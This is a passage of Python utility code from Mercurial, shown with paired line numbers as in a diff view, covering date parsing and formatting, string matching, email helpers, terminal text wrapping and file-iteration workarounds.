1786 1812
1787 1813 # The easy way to do this would be to queue.popleft(), modify the
1788 1814 # chunk (if necessary), then queue.appendleft(). However, for cases
1789 1815 # where we read partial chunk content, this incurs 2 dequeue
1790 1816 # mutations and creates a new str for the remaining chunk in the
1791 1817 # queue. Our code below avoids this overhead.
1792 1818
1793 1819 chunk = queue[0]
1794 1820 chunkl = len(chunk)
1795 1821 offset = self._chunkoffset
1796 1822
1797 1823 # Use full chunk.
1798 1824 if offset == 0 and left >= chunkl:
1799 1825 left -= chunkl
1800 1826 queue.popleft()
1801 1827 buf.append(chunk)
1802 1828 # self._chunkoffset remains at 0.
1803 1829 continue
1804 1830
1805 1831 chunkremaining = chunkl - offset
1806 1832
1807 1833 # Use all of unconsumed part of chunk.
1808 1834 if left >= chunkremaining:
1809 1835 left -= chunkremaining
1810 1836 queue.popleft()
1811 1837 # offset == 0 is enabled by block above, so this won't merely
1812 1838 # copy via ``chunk[0:]``.
1813 1839 buf.append(chunk[offset:])
1814 1840 self._chunkoffset = 0
1815 1841
1816 1842 # Partial chunk needed.
1817 1843 else:
1818 1844 buf.append(chunk[offset:offset + left])
1819 1845 self._chunkoffset += left
1820 1846 left -= chunkremaining
1821 1847
1822 1848 return ''.join(buf)
1823 1849
1824 1850 def filechunkiter(f, size=131072, limit=None):
1825 1851 """Create a generator that produces the data in the file size
1826 1852 (default 131072) bytes at a time, up to optional limit (default is
1827 1853 to read all data). Chunks may be less than size bytes if the
1828 1854 chunk is the last chunk in the file, or the file is a socket or
1829 1855 some other type of file that sometimes reads less data than is
1830 1856 requested."""
1831 1857 assert size >= 0
1832 1858 assert limit is None or limit >= 0
1833 1859 while True:
1834 1860 if limit is None:
1835 1861 nbytes = size
1836 1862 else:
1837 1863 nbytes = min(limit, size)
1838 1864 s = nbytes and f.read(nbytes)
1839 1865 if not s:
1840 1866 break
1841 1867 if limit:
1842 1868 limit -= len(s)
1843 1869 yield s
1844 1870
1845 1871 def makedate(timestamp=None):
1846 1872 '''Return a unix timestamp (or the current time) as a (unixtime,
1847 1873 offset) tuple based off the local timezone.'''
1848 1874 if timestamp is None:
1849 1875 timestamp = time.time()
1850 1876 if timestamp < 0:
1851 1877 hint = _("check your clock")
1852 1878 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1853 1879 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1854 1880 datetime.datetime.fromtimestamp(timestamp))
1855 1881 tz = delta.days * 86400 + delta.seconds
1856 1882 return timestamp, tz
1857 1883
1858 1884 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1859 1885 """represent a (unixtime, offset) tuple as a localized time.
1860 1886 unixtime is seconds since the epoch, and offset is the time zone's
1861 1887 number of seconds away from UTC.
1862 1888
1863 1889 >>> datestr((0, 0))
1864 1890 'Thu Jan 01 00:00:00 1970 +0000'
1865 1891 >>> datestr((42, 0))
1866 1892 'Thu Jan 01 00:00:42 1970 +0000'
1867 1893 >>> datestr((-42, 0))
1868 1894 'Wed Dec 31 23:59:18 1969 +0000'
1869 1895 >>> datestr((0x7fffffff, 0))
1870 1896 'Tue Jan 19 03:14:07 2038 +0000'
1871 1897 >>> datestr((-0x80000000, 0))
1872 1898 'Fri Dec 13 20:45:52 1901 +0000'
1873 1899 """
1874 1900 t, tz = date or makedate()
1875 1901 if "%1" in format or "%2" in format or "%z" in format:
1876 1902 sign = (tz > 0) and "-" or "+"
1877 1903 minutes = abs(tz) // 60
1878 1904 q, r = divmod(minutes, 60)
1879 1905 format = format.replace("%z", "%1%2")
1880 1906 format = format.replace("%1", "%c%02d" % (sign, q))
1881 1907 format = format.replace("%2", "%02d" % r)
1882 1908 d = t - tz
1883 1909 if d > 0x7fffffff:
1884 1910 d = 0x7fffffff
1885 1911 elif d < -0x80000000:
1886 1912 d = -0x80000000
1887 1913 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1888 1914 # because they use the gmtime() system call which is buggy on Windows
1889 1915 # for negative values.
1890 1916 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1891 1917 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1892 1918 return s
1893 1919
1894 1920 def shortdate(date=None):
1895 1921 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1896 1922 return datestr(date, format='%Y-%m-%d')
1897 1923
1898 1924 def parsetimezone(s):
1899 1925 """find a trailing timezone, if any, in string, and return a
1900 1926 (offset, remainder) pair"""
1901 1927
1902 1928 if s.endswith("GMT") or s.endswith("UTC"):
1903 1929 return 0, s[:-3].rstrip()
1904 1930
1905 1931 # Unix-style timezones [+-]hhmm
1906 1932 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1907 1933 sign = (s[-5] == "+") and 1 or -1
1908 1934 hours = int(s[-4:-2])
1909 1935 minutes = int(s[-2:])
1910 1936 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1911 1937
1912 1938 # ISO8601 trailing Z
1913 1939 if s.endswith("Z") and s[-2:-1].isdigit():
1914 1940 return 0, s[:-1]
1915 1941
1916 1942 # ISO8601-style [+-]hh:mm
1917 1943 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1918 1944 s[-5:-3].isdigit() and s[-2:].isdigit()):
1919 1945 sign = (s[-6] == "+") and 1 or -1
1920 1946 hours = int(s[-5:-3])
1921 1947 minutes = int(s[-2:])
1922 1948 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1923 1949
1924 1950 return None, s
1925 1951
1926 1952 def strdate(string, format, defaults=None):
1927 1953 """parse a localized time string and return a (unixtime, offset) tuple.
1928 1954 if the string cannot be parsed, ValueError is raised."""
1929 1955 if defaults is None:
1930 1956 defaults = {}
1931 1957
1932 1958 # NOTE: unixtime = localunixtime + offset
1933 1959 offset, date = parsetimezone(string)
1934 1960
1935 1961 # add missing elements from defaults
1936 1962 usenow = False # default to using biased defaults
1937 1963 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1938 1964 part = pycompat.bytestr(part)
1939 1965 found = [True for p in part if ("%"+p) in format]
1940 1966 if not found:
1941 1967 date += "@" + defaults[part][usenow]
1942 1968 format += "@%" + part[0]
1943 1969 else:
1944 1970 # We've found a specific time element, less specific time
1945 1971 # elements are relative to today
1946 1972 usenow = True
1947 1973
1948 1974 timetuple = time.strptime(encoding.strfromlocal(date),
1949 1975 encoding.strfromlocal(format))
1950 1976 localunixtime = int(calendar.timegm(timetuple))
1951 1977 if offset is None:
1952 1978 # local timezone
1953 1979 unixtime = int(time.mktime(timetuple))
1954 1980 offset = unixtime - localunixtime
1955 1981 else:
1956 1982 unixtime = localunixtime + offset
1957 1983 return unixtime, offset
1958 1984
1959 1985 def parsedate(date, formats=None, bias=None):
1960 1986 """parse a localized date/time and return a (unixtime, offset) tuple.
1961 1987
1962 1988 The date may be a "unixtime offset" string or in one of the specified
1963 1989 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1964 1990
1965 1991 >>> parsedate(' today ') == parsedate(\
1966 1992 datetime.date.today().strftime('%b %d'))
1967 1993 True
1968 1994 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1969 1995 datetime.timedelta(days=1)\
1970 1996 ).strftime('%b %d'))
1971 1997 True
1972 1998 >>> now, tz = makedate()
1973 1999 >>> strnow, strtz = parsedate('now')
1974 2000 >>> (strnow - now) < 1
1975 2001 True
1976 2002 >>> tz == strtz
1977 2003 True
1978 2004 """
1979 2005 if bias is None:
1980 2006 bias = {}
1981 2007 if not date:
1982 2008 return 0, 0
1983 2009 if isinstance(date, tuple) and len(date) == 2:
1984 2010 return date
1985 2011 if not formats:
1986 2012 formats = defaultdateformats
1987 2013 date = date.strip()
1988 2014
1989 2015 if date == 'now' or date == _('now'):
1990 2016 return makedate()
1991 2017 if date == 'today' or date == _('today'):
1992 2018 date = datetime.date.today().strftime('%b %d')
1993 2019 elif date == 'yesterday' or date == _('yesterday'):
1994 2020 date = (datetime.date.today() -
1995 2021 datetime.timedelta(days=1)).strftime('%b %d')
1996 2022
1997 2023 try:
1998 2024 when, offset = map(int, date.split(' '))
1999 2025 except ValueError:
2000 2026 # fill out defaults
2001 2027 now = makedate()
2002 2028 defaults = {}
2003 2029 for part in ("d", "mb", "yY", "HI", "M", "S"):
2004 2030 # this piece is for rounding the specific end of unknowns
2005 2031 b = bias.get(part)
2006 2032 if b is None:
2007 2033 if part[0:1] in "HMS":
2008 2034 b = "00"
2009 2035 else:
2010 2036 b = "0"
2011 2037
2012 2038 # this piece is for matching the generic end to today's date
2013 2039 n = datestr(now, "%" + part[0:1])
2014 2040
2015 2041 defaults[part] = (b, n)
2016 2042
2017 2043 for format in formats:
2018 2044 try:
2019 2045 when, offset = strdate(date, format, defaults)
2020 2046 except (ValueError, OverflowError):
2021 2047 pass
2022 2048 else:
2023 2049 break
2024 2050 else:
2025 2051 raise error.ParseError(_('invalid date: %r') % date)
2026 2052 # validate explicit (probably user-specified) date and
2027 2053 # time zone offset. values must fit in signed 32 bits for
2028 2054 # current 32-bit linux runtimes. timezones go from UTC-12
2029 2055 # to UTC+14
2030 2056 if when < -0x80000000 or when > 0x7fffffff:
2031 2057 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2032 2058 if offset < -50400 or offset > 43200:
2033 2059 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2034 2060 return when, offset
2035 2061
2036 2062 def matchdate(date):
2037 2063 """Return a function that matches a given date match specifier
2038 2064
2039 2065 Formats include:
2040 2066
2041 2067 '{date}' match a given date to the accuracy provided
2042 2068
2043 2069 '<{date}' on or before a given date
2044 2070
2045 2071 '>{date}' on or after a given date
2046 2072
2047 2073 >>> p1 = parsedate("10:29:59")
2048 2074 >>> p2 = parsedate("10:30:00")
2049 2075 >>> p3 = parsedate("10:30:59")
2050 2076 >>> p4 = parsedate("10:31:00")
2051 2077 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2052 2078 >>> f = matchdate("10:30")
2053 2079 >>> f(p1[0])
2054 2080 False
2055 2081 >>> f(p2[0])
2056 2082 True
2057 2083 >>> f(p3[0])
2058 2084 True
2059 2085 >>> f(p4[0])
2060 2086 False
2061 2087 >>> f(p5[0])
2062 2088 False
2063 2089 """
2064 2090
2065 2091 def lower(date):
2066 2092 d = {'mb': "1", 'd': "1"}
2067 2093 return parsedate(date, extendeddateformats, d)[0]
2068 2094
2069 2095 def upper(date):
2070 2096 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2071 2097 for days in ("31", "30", "29"):
2072 2098 try:
2073 2099 d["d"] = days
2074 2100 return parsedate(date, extendeddateformats, d)[0]
2075 2101 except Abort:
2076 2102 pass
2077 2103 d["d"] = "28"
2078 2104 return parsedate(date, extendeddateformats, d)[0]
2079 2105
2080 2106 date = date.strip()
2081 2107
2082 2108 if not date:
2083 2109 raise Abort(_("dates cannot consist entirely of whitespace"))
2084 2110 elif date[0] == "<":
2085 2111 if not date[1:]:
2086 2112 raise Abort(_("invalid day spec, use '<DATE'"))
2087 2113 when = upper(date[1:])
2088 2114 return lambda x: x <= when
2089 2115 elif date[0] == ">":
2090 2116 if not date[1:]:
2091 2117 raise Abort(_("invalid day spec, use '>DATE'"))
2092 2118 when = lower(date[1:])
2093 2119 return lambda x: x >= when
2094 2120 elif date[0] == "-":
2095 2121 try:
2096 2122 days = int(date[1:])
2097 2123 except ValueError:
2098 2124 raise Abort(_("invalid day spec: %s") % date[1:])
2099 2125 if days < 0:
2100 2126 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2101 2127 % date[1:])
2102 2128 when = makedate()[0] - days * 3600 * 24
2103 2129 return lambda x: x >= when
2104 2130 elif " to " in date:
2105 2131 a, b = date.split(" to ")
2106 2132 start, stop = lower(a), upper(b)
2107 2133 return lambda x: x >= start and x <= stop
2108 2134 else:
2109 2135 start, stop = lower(date), upper(date)
2110 2136 return lambda x: x >= start and x <= stop
2111 2137
2112 2138 def stringmatcher(pattern, casesensitive=True):
2113 2139 """
2114 2140 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2115 2141 returns the matcher name, pattern, and matcher function.
2116 2142 missing or unknown prefixes are treated as literal matches.
2117 2143
2118 2144 helper for tests:
2119 2145 >>> def test(pattern, *tests):
2120 2146 ... kind, pattern, matcher = stringmatcher(pattern)
2121 2147 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2122 2148 >>> def itest(pattern, *tests):
2123 2149 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2124 2150 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2125 2151
2126 2152 exact matching (no prefix):
2127 2153 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2128 2154 ('literal', 'abcdefg', [False, False, True])
2129 2155
2130 2156 regex matching ('re:' prefix)
2131 2157 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2132 2158 ('re', 'a.+b', [False, False, True])
2133 2159
2134 2160 force exact matches ('literal:' prefix)
2135 2161 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2136 2162 ('literal', 're:foobar', [False, True])
2137 2163
2138 2164 unknown prefixes are ignored and treated as literals
2139 2165 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2140 2166 ('literal', 'foo:bar', [False, False, True])
2141 2167
2142 2168 case insensitive regex matches
2143 2169 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2144 2170 ('re', 'A.+b', [False, False, True])
2145 2171
2146 2172 case insensitive literal matches
2147 2173 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2148 2174 ('literal', 'ABCDEFG', [False, False, True])
2149 2175 """
2150 2176 if pattern.startswith('re:'):
2151 2177 pattern = pattern[3:]
2152 2178 try:
2153 2179 flags = 0
2154 2180 if not casesensitive:
2155 2181 flags = remod.I
2156 2182 regex = remod.compile(pattern, flags)
2157 2183 except remod.error as e:
2158 2184 raise error.ParseError(_('invalid regular expression: %s')
2159 2185 % e)
2160 2186 return 're', pattern, regex.search
2161 2187 elif pattern.startswith('literal:'):
2162 2188 pattern = pattern[8:]
2163 2189
2164 2190 match = pattern.__eq__
2165 2191
2166 2192 if not casesensitive:
2167 2193 ipat = encoding.lower(pattern)
2168 2194 match = lambda s: ipat == encoding.lower(s)
2169 2195 return 'literal', pattern, match
2170 2196
2171 2197 def shortuser(user):
2172 2198 """Return a short representation of a user name or email address."""
2173 2199 f = user.find('@')
2174 2200 if f >= 0:
2175 2201 user = user[:f]
2176 2202 f = user.find('<')
2177 2203 if f >= 0:
2178 2204 user = user[f + 1:]
2179 2205 f = user.find(' ')
2180 2206 if f >= 0:
2181 2207 user = user[:f]
2182 2208 f = user.find('.')
2183 2209 if f >= 0:
2184 2210 user = user[:f]
2185 2211 return user
2186 2212
2187 2213 def emailuser(user):
2188 2214 """Return the user portion of an email address."""
2189 2215 f = user.find('@')
2190 2216 if f >= 0:
2191 2217 user = user[:f]
2192 2218 f = user.find('<')
2193 2219 if f >= 0:
2194 2220 user = user[f + 1:]
2195 2221 return user
2196 2222
2197 2223 def email(author):
2198 2224 '''get email of author.'''
2199 2225 r = author.find('>')
2200 2226 if r == -1:
2201 2227 r = None
2202 2228 return author[author.find('<') + 1:r]
2203 2229
2204 2230 def ellipsis(text, maxlength=400):
2205 2231 """Trim string to at most maxlength (default: 400) columns in display."""
2206 2232 return encoding.trim(text, maxlength, ellipsis='...')
2207 2233
2208 2234 def unitcountfn(*unittable):
2209 2235 '''return a function that renders a readable count of some quantity'''
2210 2236
2211 2237 def go(count):
2212 2238 for multiplier, divisor, format in unittable:
2213 2239 if abs(count) >= divisor * multiplier:
2214 2240 return format % (count / float(divisor))
2215 2241 return unittable[-1][2] % count
2216 2242
2217 2243 return go
2218 2244
2219 2245 def processlinerange(fromline, toline):
2220 2246 """Check that linerange <fromline>:<toline> makes sense and return a
2221 2247 0-based range.
2222 2248
2223 2249 >>> processlinerange(10, 20)
2224 2250 (9, 20)
2225 2251 >>> processlinerange(2, 1)
2226 2252 Traceback (most recent call last):
2227 2253 ...
2228 2254 ParseError: line range must be positive
2229 2255 >>> processlinerange(0, 5)
2230 2256 Traceback (most recent call last):
2231 2257 ...
2232 2258 ParseError: fromline must be strictly positive
2233 2259 """
2234 2260 if toline - fromline < 0:
2235 2261 raise error.ParseError(_("line range must be positive"))
2236 2262 if fromline < 1:
2237 2263 raise error.ParseError(_("fromline must be strictly positive"))
2238 2264 return fromline - 1, toline
2239 2265
2240 2266 bytecount = unitcountfn(
2241 2267 (100, 1 << 30, _('%.0f GB')),
2242 2268 (10, 1 << 30, _('%.1f GB')),
2243 2269 (1, 1 << 30, _('%.2f GB')),
2244 2270 (100, 1 << 20, _('%.0f MB')),
2245 2271 (10, 1 << 20, _('%.1f MB')),
2246 2272 (1, 1 << 20, _('%.2f MB')),
2247 2273 (100, 1 << 10, _('%.0f KB')),
2248 2274 (10, 1 << 10, _('%.1f KB')),
2249 2275 (1, 1 << 10, _('%.2f KB')),
2250 2276 (1, 1, _('%.0f bytes')),
2251 2277 )
2252 2278
2253 2279 # Matches a single EOL which can either be a CRLF where repeated CR
2254 2280 # are removed or a LF. We do not care about old Macintosh files, so a
2255 2281 # stray CR is an error.
2256 2282 _eolre = remod.compile(br'\r*\n')
2257 2283
2258 2284 def tolf(s):
2259 2285 return _eolre.sub('\n', s)
2260 2286
2261 2287 def tocrlf(s):
2262 2288 return _eolre.sub('\r\n', s)
2263 2289
2264 2290 if pycompat.oslinesep == '\r\n':
2265 2291 tonativeeol = tocrlf
2266 2292 fromnativeeol = tolf
2267 2293 else:
2268 2294 tonativeeol = pycompat.identity
2269 2295 fromnativeeol = pycompat.identity
2270 2296
2271 2297 def escapestr(s):
2272 2298 # call underlying function of s.encode('string_escape') directly for
2273 2299 # Python 3 compatibility
2274 2300 return codecs.escape_encode(s)[0]
2275 2301
2276 2302 def unescapestr(s):
2277 2303 return codecs.escape_decode(s)[0]
2278 2304
2279 2305 def forcebytestr(obj):
2280 2306 """Portably format an arbitrary object (e.g. exception) into a byte
2281 2307 string."""
2282 2308 try:
2283 2309 return pycompat.bytestr(obj)
2284 2310 except UnicodeEncodeError:
2285 2311 # non-ascii string, may be lossy
2286 2312 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2287 2313
2288 2314 def uirepr(s):
2289 2315 # Avoid double backslash in Windows path repr()
2290 2316 return repr(s).replace('\\\\', '\\')
2291 2317
2292 2318 # delay import of textwrap
2293 2319 def MBTextWrapper(**kwargs):
2294 2320 class tw(textwrap.TextWrapper):
2295 2321 """
2296 2322 Extend TextWrapper for width-awareness.
2297 2323
2298 2324 Neither number of 'bytes' in any encoding nor 'characters' is
2299 2325 appropriate to calculate terminal columns for specified string.
2300 2326
2301 2327 Original TextWrapper implementation uses built-in 'len()' directly,
2302 2328 so overriding is needed to use width information of each characters.
2303 2329
2304 2330 In addition, characters classified into 'ambiguous' width are
2305 2331 treated as wide in East Asian area, but as narrow in other.
2306 2332
2307 2333 This requires use decision to determine width of such characters.
2308 2334 """
2309 2335 def _cutdown(self, ucstr, space_left):
2310 2336 l = 0
2311 2337 colwidth = encoding.ucolwidth
2312 2338 for i in xrange(len(ucstr)):
2313 2339 l += colwidth(ucstr[i])
2314 2340 if space_left < l:
2315 2341 return (ucstr[:i], ucstr[i:])
2316 2342 return ucstr, ''
2317 2343
2318 2344 # overriding of base class
2319 2345 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2320 2346 space_left = max(width - cur_len, 1)
2321 2347
2322 2348 if self.break_long_words:
2323 2349 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2324 2350 cur_line.append(cut)
2325 2351 reversed_chunks[-1] = res
2326 2352 elif not cur_line:
2327 2353 cur_line.append(reversed_chunks.pop())
2328 2354
2329 2355 # this overriding code is imported from TextWrapper of Python 2.6
2330 2356 # to calculate columns of string by 'encoding.ucolwidth()'
2331 2357 def _wrap_chunks(self, chunks):
2332 2358 colwidth = encoding.ucolwidth
2333 2359
2334 2360 lines = []
2335 2361 if self.width <= 0:
2336 2362 raise ValueError("invalid width %r (must be > 0)" % self.width)
2337 2363
2338 2364 # Arrange in reverse order so items can be efficiently popped
2339 2365 # from a stack of chucks.
2340 2366 chunks.reverse()
2341 2367
2342 2368 while chunks:
2343 2369
2344 2370 # Start the list of chunks that will make up the current line.
2345 2371 # cur_len is just the length of all the chunks in cur_line.
2346 2372 cur_line = []
2347 2373 cur_len = 0
2348 2374
2349 2375 # Figure out which static string will prefix this line.
2350 2376 if lines:
2351 2377 indent = self.subsequent_indent
2352 2378 else:
2353 2379 indent = self.initial_indent
2354 2380
2355 2381 # Maximum width for this line.
2356 2382 width = self.width - len(indent)
2357 2383
2358 2384 # First chunk on line is whitespace -- drop it, unless this
2359 2385 # is the very beginning of the text (i.e. no lines started yet).
2360 2386 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2361 2387 del chunks[-1]
2362 2388
2363 2389 while chunks:
2364 2390 l = colwidth(chunks[-1])
2365 2391
2366 2392 # Can at least squeeze this chunk onto the current line.
2367 2393 if cur_len + l <= width:
2368 2394 cur_line.append(chunks.pop())
2369 2395 cur_len += l
2370 2396
2371 2397 # Nope, this line is full.
2372 2398 else:
2373 2399 break
2374 2400
2375 2401 # The current line is full, and the next chunk is too big to
2376 2402 # fit on *any* line (not just this one).
2377 2403 if chunks and colwidth(chunks[-1]) > width:
2378 2404 self._handle_long_word(chunks, cur_line, cur_len, width)
2379 2405
2380 2406 # If the last chunk on this line is all whitespace, drop it.
2381 2407 if (self.drop_whitespace and
2382 2408 cur_line and cur_line[-1].strip() == r''):
2383 2409 del cur_line[-1]
2384 2410
2385 2411 # Convert current line back to a string and store it in list
2386 2412 # of all lines (return value).
2387 2413 if cur_line:
2388 2414 lines.append(indent + r''.join(cur_line))
2389 2415
2390 2416 return lines
2391 2417
2392 2418 global MBTextWrapper
2393 2419 MBTextWrapper = tw
2394 2420 return tw(**kwargs)
2395 2421
2396 2422 def wrap(line, width, initindent='', hangindent=''):
2397 2423 maxindent = max(len(hangindent), len(initindent))
2398 2424 if width <= maxindent:
2399 2425 # adjust for weird terminal size
2400 2426 width = max(78, maxindent + 1)
2401 2427 line = line.decode(pycompat.sysstr(encoding.encoding),
2402 2428 pycompat.sysstr(encoding.encodingmode))
2403 2429 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2404 2430 pycompat.sysstr(encoding.encodingmode))
2405 2431 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2406 2432 pycompat.sysstr(encoding.encodingmode))
2407 2433 wrapper = MBTextWrapper(width=width,
2408 2434 initial_indent=initindent,
2409 2435 subsequent_indent=hangindent)
2410 2436 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2411 2437
2412 2438 if (pyplatform.python_implementation() == 'CPython' and
2413 2439 sys.version_info < (3, 0)):
2414 2440 # There is an issue in CPython that some IO methods do not handle EINTR
2415 2441 # correctly. The following table shows what CPython version (and functions)
2416 2442 # are affected (buggy: has the EINTR bug, okay: otherwise):
2417 2443 #
2418 2444 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2419 2445 # --------------------------------------------------
2420 2446 # fp.__iter__ | buggy | buggy | okay
2421 2447 # fp.read* | buggy | okay [1] | okay
2422 2448 #
2423 2449 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2424 2450 #
2425 2451 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2426 2452 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2427 2453 #
2428 2454 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2429 2455 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2430 2456 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2431 2457 # fp.__iter__ but not other fp.read* methods.
2432 2458 #
2433 2459 # On modern systems like Linux, the "read" syscall cannot be interrupted
2434 2460 # when reading "fast" files like on-disk files. So the EINTR issue only
2435 2461 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2436 2462 # files approximately as "fast" files and use the fast (unsafe) code path,
2437 2463 # to minimize the performance impact.
2438 2464 if sys.version_info >= (2, 7, 4):
2439 2465 # fp.readline deals with EINTR correctly, use it as a workaround.
2440 2466 def _safeiterfile(fp):
2441 2467 return iter(fp.readline, '')
2442 2468 else:
2443 2469 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2444 2470 # note: this may block longer than necessary because of bufsize.
2445 2471 def _safeiterfile(fp, bufsize=4096):
2446 2472 fd = fp.fileno()
2447 2473 line = ''
2448 2474 while True:
2449 2475 try:
2450 2476 buf = os.read(fd, bufsize)
2451 2477 except OSError as ex:
2452 2478 # os.read only raises EINTR before any data is read
2453 2479 if ex.errno == errno.EINTR:
2454 2480 continue
2455 2481 else:
2456 2482 raise
2457 2483 line += buf
2458 2484 if '\n' in buf:
2459 2485 splitted = line.splitlines(True)
2460 2486 line = ''
2461 2487 for l in splitted:
2462 2488 if l[-1] == '\n':
2463 2489 yield l
2464 2490 else:
2465 2491 line = l
2466 2492 if not buf:
2467 2493 break
2468 2494 if line:
2469 2495 yield line
2470 2496
2471 2497 def iterfile(fp):
2472 2498 fastpath = True
2473 2499 if type(fp) is file:
2474 2500 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2475 2501 if fastpath:
2476 2502 return fp
2477 2503 else:
2478 2504 return _safeiterfile(fp)
2479 2505 else:
2480 2506 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2481 2507 def iterfile(fp):
2482 2508 return fp
2483 2509
2484 2510 def iterlines(iterator):
2485 2511 for chunk in iterator:
2486 2512 for line in chunk.splitlines():
2487 2513 yield line
2488 2514
2489 2515 def expandpath(path):
2490 2516 return os.path.expanduser(os.path.expandvars(path))
2491 2517
2492 2518 def hgcmd():
2493 2519 """Return the command used to execute current hg
2494 2520
2495 2521 This is different from hgexecutable() because on Windows we want
2496 2522 to avoid things opening new shell windows like batch files, so we
2497 2523 get either the python call or current executable.
2498 2524 """
2499 2525 if mainfrozen():
2500 2526 if getattr(sys, 'frozen', None) == 'macosx_app':
2501 2527 # Env variable set by py2app
2502 2528 return [encoding.environ['EXECUTABLEPATH']]
2503 2529 else:
2504 2530 return [pycompat.sysexecutable]
2505 2531 return gethgcmd()
2506 2532
2507 2533 def rundetached(args, condfn):
2508 2534 """Execute the argument list in a detached process.
2509 2535
2510 2536 condfn is a callable which is called repeatedly and should return
2511 2537 True once the child process is known to have started successfully.
2512 2538 At this point, the child process PID is returned. If the child
2513 2539 process fails to start or finishes before condfn() evaluates to
2514 2540 True, return -1.
2515 2541 """
2516 2542 # Windows case is easier because the child process is either
2517 2543 # successfully starting and validating the condition or exiting
2518 2544 # on failure. We just poll on its PID. On Unix, if the child
2519 2545 # process fails to start, it will be left in a zombie state until
2520 2546 # the parent wait on it, which we cannot do since we expect a long
2521 2547 # running process on success. Instead we listen for SIGCHLD telling
2522 2548 # us our child process terminated.
2523 2549 terminated = set()
2524 2550 def handler(signum, frame):
2525 2551 terminated.add(os.wait())
2526 2552 prevhandler = None
2527 2553 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2528 2554 if SIGCHLD is not None:
2529 2555 prevhandler = signal.signal(SIGCHLD, handler)
2530 2556 try:
2531 2557 pid = spawndetached(args)
2532 2558 while not condfn():
2533 2559 if ((pid in terminated or not testpid(pid))
2534 2560 and not condfn()):
2535 2561 return -1
2536 2562 time.sleep(0.1)
2537 2563 return pid
2538 2564 finally:
2539 2565 if prevhandler is not None:
2540 2566 signal.signal(signal.SIGCHLD, prevhandler)
2541 2567
2542 2568 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2543 2569 """Return the result of interpolating items in the mapping into string s.
2544 2570
2545 2571 prefix is a single character string, or a two character string with
2546 2572 a backslash as the first character if the prefix needs to be escaped in
2547 2573 a regular expression.
2548 2574
2549 2575 fn is an optional function that will be applied to the replacement text
2550 2576 just before replacement.
2551 2577
2552 2578 escape_prefix is an optional flag that allows using doubled prefix for
2553 2579 its escaping.
2554 2580 """
2555 2581 fn = fn or (lambda s: s)
2556 2582 patterns = '|'.join(mapping.keys())
2557 2583 if escape_prefix:
2558 2584 patterns += '|' + prefix
2559 2585 if len(prefix) > 1:
2560 2586 prefix_char = prefix[1:]
2561 2587 else:
2562 2588 prefix_char = prefix
2563 2589 mapping[prefix_char] = prefix_char
2564 2590 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2565 2591 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2566 2592
2567 2593 def getport(port):
2568 2594 """Return the port for a given network service.
2569 2595
2570 2596 If port is an integer, it's returned as is. If it's a string, it's
2571 2597 looked up using socket.getservbyname(). If there's no matching
2572 2598 service, error.Abort is raised.
2573 2599 """
2574 2600 try:
2575 2601 return int(port)
2576 2602 except ValueError:
2577 2603 pass
2578 2604
2579 2605 try:
2580 2606 return socket.getservbyname(port)
2581 2607 except socket.error:
2582 2608 raise Abort(_("no port number associated with service '%s'") % port)
2583 2609
2584 2610 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2585 2611 '0': False, 'no': False, 'false': False, 'off': False,
2586 2612 'never': False}
2587 2613
2588 2614 def parsebool(s):
2589 2615 """Parse s into a boolean.
2590 2616
2591 2617 If s is not a valid boolean, returns None.
2592 2618 """
2593 2619 return _booleans.get(s.lower(), None)
2594 2620
2595 2621 _hextochr = dict((a + b, chr(int(a + b, 16)))
2596 2622 for a in string.hexdigits for b in string.hexdigits)
2597 2623
2598 2624 class url(object):
2599 2625 r"""Reliable URL parser.
2600 2626
2601 2627 This parses URLs and provides attributes for the following
2602 2628 components:
